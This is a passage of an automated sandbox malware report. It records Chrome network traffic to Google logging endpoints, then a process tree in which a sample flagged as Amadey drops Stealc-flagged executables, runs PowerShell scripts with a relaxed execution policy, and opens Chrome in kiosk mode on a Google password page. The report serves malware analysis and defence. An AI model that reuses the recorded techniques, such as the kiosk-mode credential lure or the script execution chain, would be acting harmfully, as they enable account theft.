2024-09-28 23:02:52 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Sat, 28 Sep 2024 23:02:51 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-09-28 23:02:52 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-09-28 23:02:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49814	142.250.185.174	443	7264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 23:03:14 UTC	1266	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1165 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CJa2yQEIpbbJAQipncoBCMeVywEIlqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=B5AcOeTjKRQnZDNgbePS2g8bgyrVHOo7RQlrlDdVfyWk2Zk_HYkztllEDPgT5kymgiAE4docGd8ucmkZUTyG5YP7OGhTT5i2grT0lf_3HzZyOviiRrItrTN4P-j4szP3NBUWlCwFJtfYPACu3pUsI2fBW_gLGmOnz6ujEOJa8NblpSj7YfEHrCr7uQw
2024-09-28 23:03:14 UTC	1165	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 33 30 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 37 35 36 34 35 39 32 39 38 33 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"30",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1727564592983",null,null,null
2024-09-28 23:03:14 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Sat, 28 Sep 2024 23:03:14 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-09-28 23:03:14 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-09-28 23:03:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49815	142.250.185.174	443	7264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 23:03:14 UTC	1226	OUT	POST /log?hasfast=true&authuser=0&format=json HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1035 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" Content-Type: text/plain;charset=UTF-8 sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CJa2yQEIpbbJAQipncoBCMeVywEIlqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=B5AcOeTjKRQnZDNgbePS2g8bgyrVHOo7RQlrlDdVfyWk2Zk_HYkztllEDPgT5kymgiAE4docGd8ucmkZUTyG5YP7OGhTT5i2grT0lf_3HzZyOviiRrItrTN4P-j4szP3NBUWlCwFJtfYPACu3pUsI2fBW_gLGmOnz6ujEOJa8NblpSj7YfEHrCr7uQw
2024-09-28 23:03:14 UTC	1035	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 62 6f 71 5f 69 64 65 6e 74 69 74 79 66 72 6f 6e 74 65 6e 64 61 75 74 68 75 69 73 65 72 76 65 72 5f 32 30 32 34 30 39 32 34 2e 30 32 5f 70 30 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 33 2c 30 2c 30 Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"boq_identityfrontendauthuiserver_20240924.02_p0",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[3,0,0
2024-09-28 23:03:14 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Sat, 28 Sep 2024 23:03:14 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-09-28 23:03:14 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-09-28 23:03:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49817	142.250.185.174	443	7264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 23:03:16 UTC	1266	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1277 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CJa2yQEIpbbJAQipncoBCMeVywEIlqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=B5AcOeTjKRQnZDNgbePS2g8bgyrVHOo7RQlrlDdVfyWk2Zk_HYkztllEDPgT5kymgiAE4docGd8ucmkZUTyG5YP7OGhTT5i2grT0lf_3HzZyOviiRrItrTN4P-j4szP3NBUWlCwFJtfYPACu3pUsI2fBW_gLGmOnz6ujEOJa8NblpSj7YfEHrCr7uQw
2024-09-28 23:03:16 UTC	1277	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 33 30 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 37 35 36 34 35 39 35 31 30 38 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"30",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1727564595108",null,null,null
2024-09-28 23:03:16 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Sat, 28 Sep 2024 23:03:16 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-09-28 23:03:16 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-09-28 23:03:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.8	49819	142.250.185.174	443

Timestamp	Bytes transferred	Direction	Data
2024-09-28 23:03:19 UTC	1225	OUT	POST /log?hasfast=true&authuser=0&format=json HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 827 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" Content-Type: text/plain;charset=UTF-8 sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CJa2yQEIpbbJAQipncoBCMeVywEIlqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=B5AcOeTjKRQnZDNgbePS2g8bgyrVHOo7RQlrlDdVfyWk2Zk_HYkztllEDPgT5kymgiAE4docGd8ucmkZUTyG5YP7OGhTT5i2grT0lf_3HzZyOviiRrItrTN4P-j4szP3NBUWlCwFJtfYPACu3pUsI2fBW_gLGmOnz6ujEOJa8NblpSj7YfEHrCr7uQw
2024-09-28 23:03:19 UTC	827	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 62 6f 71 5f 69 64 65 6e 74 69 74 79 66 72 6f 6e 74 65 6e 64 61 75 74 68 75 69 73 65 72 76 65 72 5f 32 30 32 34 30 39 32 34 2e 30 32 5f 70 30 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 33 2c 30 2c 30 Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"boq_identityfrontendauthuiserver_20240924.02_p0",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[3,0,0
2024-09-28 23:03:19 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Sat, 28 Sep 2024 23:03:19 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-09-28 23:03:19 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-09-28 23:03:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	19:01:10
Start date:	28/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x630000
File size:	1'928'192 bytes
MD5 hash:	6C4B5FA44D73D27368A762B5581BCAAE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1435177507.0000000004820000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1475811914.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:01:13
Start date:	28/09/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xd80000
File size:	1'928'192 bytes
MD5 hash:	6C4B5FA44D73D27368A762B5581BCAAE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1508409621.0000000000D81000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1466599045.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:01:14
Start date:	28/09/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xd80000
File size:	1'928'192 bytes
MD5 hash:	6C4B5FA44D73D27368A762B5581BCAAE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.1516020745.0000000000D81000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.1474161213.0000000004E70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:02:00
Start date:	28/09/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xd80000
File size:	1'928'192 bytes
MD5 hash:	6C4B5FA44D73D27368A762B5581BCAAE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000003.1924584689.0000000004F00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000002.2689728231.0000000000D81000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	19:02:09
Start date:	28/09/2024
Path:	C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe"
Imagebase:	0xd80000
File size:	1'843'712 bytes
MD5 hash:	4D54B2279D2B7CA76FDAF6D89C509355
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000003.2023916641.00000000054E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.2065676534.00000000019ED000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.2064455494.0000000000D81000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	19:02:13
Start date:	28/09/2024
Path:	C:\Users\user\1000026002\cee706a53f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\1000026002\cee706a53f.exe"
Imagebase:	0x750000
File size:	1'843'712 bytes
MD5 hash:	4D54B2279D2B7CA76FDAF6D89C509355
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000B.00000003.2062372153.0000000004E00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000B.00000002.2115108597.00000000012DE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000B.00000002.2111985097.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	19:02:17
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\1000032042\ko.ps1"
Imagebase:	0x3e0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	19:02:17
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	19:02:18
Start date:	28/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --kiosk --user-data-dir=C:\Users\user\AppData\Local\Google\Chrome\User Data
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	19:02:20
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\1000033142\so.ps1"
Imagebase:	0x3e0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	19:02:20
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	19:02:20
